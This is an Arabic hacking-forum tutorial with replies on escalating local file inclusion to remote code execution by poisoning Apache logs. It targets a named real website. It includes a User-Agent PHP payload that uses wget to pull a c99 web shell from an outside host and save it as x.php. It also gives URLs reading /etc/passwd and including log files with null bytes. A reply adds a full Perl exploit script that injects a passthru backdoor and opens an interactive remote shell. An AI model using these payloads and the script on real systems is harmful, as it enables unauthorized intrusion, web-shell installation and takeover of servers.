شرح تحويل ثغرات LFI الى RCE ومنها ممكن ترفع شيل
السلام عليكم ورحمة الله وبركاته
http://www.youtube.com/watch?v=llD45IEktSg&feature=player_embedded
شرح كتابي
نبدا اول حاجه هنحتاج اضافه فى الفيرفوكس : User-Agent switcher
بعد التحميل تقوم بأضافه يوزر جديد
وتقوم بتعديل كود User Agent
الى موجود بكود مثلا سحب الشيل علي السيرفر
PHP:
<? passthru ('wget http://zone-t.org/upload/txt/c99.txt -O x.php') ?>
نسحب etc/passwd علشان تتاكد ان الموقع مصاب
كويس نيجي لطريقه التطبيق علي سيرفر مركب سي بنل
PHP:
http://www.upworldgov.org/oms/oms.php?loc=/etc//passwd%00
بنشوف الدومين بتاع الموقع المصاب وهوه
upworldgov.org
نجيب يوزر الموقع عن طريق عرض الخطأ بتاع الانكلود
PHP:
http://www.upworldgov.org/oms/oms.php?loc=./
تمام
نعمل رفرش للصفحه
ونروح علي ملف الـ log بتاع الدومين علشان الشيل يتسحب
بيكون مثال الوج كدا
PHP:
/usr/local/apache/domlogs/user/domain.com
PHP:
http://www.upworldgov.org/oms/oms.php?loc=/usr/local/apache/domlogs/upworldg/upworldgov.org%00
تم بحمد الله نيجي بقي نرد علي الناس الى ردت في الموضوع الاول
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++
RO0OTMAN
حبيبي يا كبير
وحشنى ياض والله
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++
جبروت هكر
يعطييك العافيه
الترقيع : تعطيل دوال تنفيذ الاوامر
ماقصرت
منور يا اخوى
حقن الـ
PHP:
<?php phpinfo();?>
++++++++++++++++++++++++++++++++++++++++++++++++++++
Mr.AaMa
سلمت عالطرح وفيه بعد
/var/log/apache2/access.log
/var/log/httpd-access.log
/var/log/lighttpd/access.log
ايختلف باختلاف اصدار الاباتشي .. دمت بود
تمام اخوي ويوجد سكربيت بريل بيفي بالغرض
كمان جمع المعلومات بيخلص الليله
PHP:
#!/usr/bin/perl -w
use LWP::UserAgent;
use IO::Socket;
use LWP::Simple;
$log="../";
@apache=(
"../../../../../var/log/httpd/access_log",
"../apache/logs/access.log",
"../../apache/logs/access.log",
"../../Apache2.2/logs/access.log",
"../../../../apache/logs/access.log",
"../../../../../apache/logs/access.log",
"../logs/access.log",
"../../logs/access.log",
"../../../logs/access.log",
"../../../../logs/access.log",
"../../../../../logs/access.log",
"../../../../../etc/httpd/logs/access_log",
"../../../../../etc/httpd/logs/access.log",
"../../.. /../../var/www/logs/access_log",
"../../../../../var/www/logs/access.log",
"../../../../../usr/local/apache/logs/access_log",
"../../../../../usr/local/apache/logs/access.log",
"../../../../../var/log/apache/access_log",
"../../../../../var/log/apache/access.log",
"../../../../../var/log/access_log",
"../../../../../var/log/access_log"
);
my $sis="$^O";if ($sis eq 'MSWin32') { system("cls"); } else { system("clear"); }
print "\n==========================================\n";
print " LFI to RCE Exploit \n";
print " By CWH Underground \n";
print "==========================================\n";
if (@ARGV < 2)
{
print "Usage: ./xpl.pl <Host> <Path>\n";
print "Ex. ./xpl.pl www.hackme.com /ktp/index.php?page=\n";
}
$host=$ARGV[0];
$path=$ARGV[1];
if ( $host =~ /^http:/ ) {$host =~ s/http:\/\///g;}
print "\nTrying to Inject the Code...\n";
$CODE="<?php if(get_magic_quotes_gpc()){ \$_GET[cmd]=stripslashes(\$_GET[cmd]);} passthru(\$_GET[cmd]);?>";
$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$host", PeerPort=>"80") or die "Could not connect to host.\n\n";
print $socket "GET /cwhunderground "."\#\#%\$\$%\#\#".$CODE."\#\#%\$\$%\#\#"." HTTP/1.1\r\n";
print $socket "Host: ".$host."\r\n";
print $socket "Connection: close\r\n\r\n";
close($socket);
if ( $host !~ /^http:/ ) {$host = "http://" . $host;}
foreach $getlog(@apache)
{
chomp($getlog);
$find= $host.$path.$getlog."%00";
$xpl = LWP::UserAgent->new() or die "Could not initialize browser\n";
$req = HTTP::Request->new(GET => $find);
$res = $xpl->request($req);
$info = $res->content;
if($info =~ /cwhunderground/)
{print "\nSuccessfully injected in $getlog \n";$log=$getlog;}
}
print "cwh-shell# ";
chomp( $cmd = <STDIN> );
while($cmd !~ "exit") {
$shell= $host.$path.$log."%00&cmd=$cmd";
$xpl = LWP::UserAgent->new() or die "Could not initialize browser\n";
$req = HTTP::Request->new(GET => $shell);
$res = $xpl->request($req);
$info = $res->content;
if ($info =~ /\#\#%\$\$%\#\#(.*?)\#\#%\$\$%\#\#/sg)
{print $1;}
print "cwh-shell# ";
chomp( $cmd = <STDIN> );
}
مع تيحاتى ميرو
اسم الموضوع : شرح تحويل ثغرات LFI الى RCE ومنها ممكن ترفع شيل
|
المصدر : قـسـم إخـتـراق الـمـواقـع والـسـيرفـرات
